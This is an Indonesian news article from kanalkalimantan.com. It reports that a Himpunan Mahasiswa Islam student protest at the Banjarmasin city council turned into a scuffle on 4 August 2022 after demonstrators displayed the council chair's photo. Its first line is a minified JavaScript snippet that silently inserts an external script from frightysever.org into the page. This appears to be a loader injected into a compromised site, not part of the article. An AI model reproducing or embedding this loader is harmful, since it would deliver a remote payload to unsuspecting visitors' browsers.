(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Aksi puluhan demonstran dari Himpunan Mahasiswa Islam (HMI) di halaman depan kantor DPRD Kota Banjarmasin, sempat diwarnai ricuh pada Kamis (4/8/2022) sore. Salah satunya, akibat ketersinggungan dewan lantaran foto Ketua DPRD Harry Wijaya dijadikan media poster aksi.
Lembaran foto berisikan wajah dirinya itu dibawa hingga ditempel pada bendera dan aspal oleh para demonstran selama aksi berlangsung. Hal tersebut ternyata membuat para wakil rakyat berpandangan bahwa hal tersebut tidak sopan.
“Ini tidak sopan, kita tanya kalian datang ke sini untuk menyelesaikan masalah atau mencari-cari masalah, karena kami sudah memfasilitasi berkali-kali tapi kalian juga tidak mau,” ungkap salah satu staff DPRD yang turut maju.
Adu mulut pun terjadi, terpantau jajaran mengungkapkan bahwa sebelumnya pihaknya sudah mencoba melakukan audiensi dan menghubungi aliansi HMI untuk datang berdialog, tetapi tidak ada respon.
Baca juga : Cek Kinerja ASN, Camat Selat Pantau Layanan Kelurahan
Menanggapi hal tersebut, Nurdhin Ketua HMI cabang Banjarmasin menyampaikan bahwa pihaknya tidak pernah menerima undangan audiensi maupun dialog dari DPRD.
“Kita menyatakan kami bukan ingin baku hantam di sini, kita mau berdialog dengan baik-baik, tuntutan yang kami bawa sudah jelas dan juga kalo dikatakan kami diundang audiensi itu tidak ada,” ucap Nurdhin.
Sampai di situ situasi sudah mulai tidak terkontrol, para jajaran wakil rakyat beserta staffnya ikut turun tangan mencoba mumukul mundur masa yang didominasi laki-laki tersebut.
Alhasil para aparat berusaha menahan amukan dari staff wakil rakyat tersebut, meskipun terlihat cukup kewalahan.
Baca juga : Tiga Nakes RSD Idaman Kota Banjarbaru Raih Penghargaan Tingkat Provinsi
Kemudian, wakil rakyat fraksi Partai Kebangkitan Bangsa (PKB), Hilyah Aulia merespons dengan mengatakan bakal menentukan ulang waktu untuk bisa beraudiensi mengenai aspirasi yang menurut demonstran belum selesai
“Yang pasti kita akan adakan audiensi tetapi untuk waktunya tidak bisa ditentukan oleh kalian maka harus komunikasikan lagi,” jelas Hilyah.
Dirinya berharap dengan dialog tersebut akan cepat teralisasikan agar dapat menjawab semua aspirasi aspirasi dari para demonstran.
Berakhir pada kesepakatan tersebut, akhirnya massa mencoba mundur membubarkan diri dengan dikawal aparat.
“Kami akan kembali lagi ke DPRD jika kita lihat seminggu atau dua minggu ini tetap tidak ada panggilan untuk berdialog dan beraudiensi bersama kami,” tutup Nurdhin. (kanalkalimantan.com/wanda)
Reporter : wanda
Editor : cell
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) melakukan penyembelihan belasan hewan kurban pada Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU - Penyelenggaraan ibadah kurban Iduladha 1445 Hijriah di Banjarbaru menerapkan sistem ramah lingkungan.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momen ibadah kurban Iduladha 1445 hijriah menjadi ajang silaturahim dan gotong royong… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kabar duka datang dari Kloter 18 Haji Embarkasi Banjarmasin, seorang jemaah haji… Read More
KANALKALIMANTAN.COM, BANJARBARU - Lapak penjual daging sapi di Pasar Bauntung Kota Banjarbaru Kalimantan Selatan (Kalsel)… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Hulu Sungai Utara (HSU) selalu memberikan… Read More
This website uses cookies.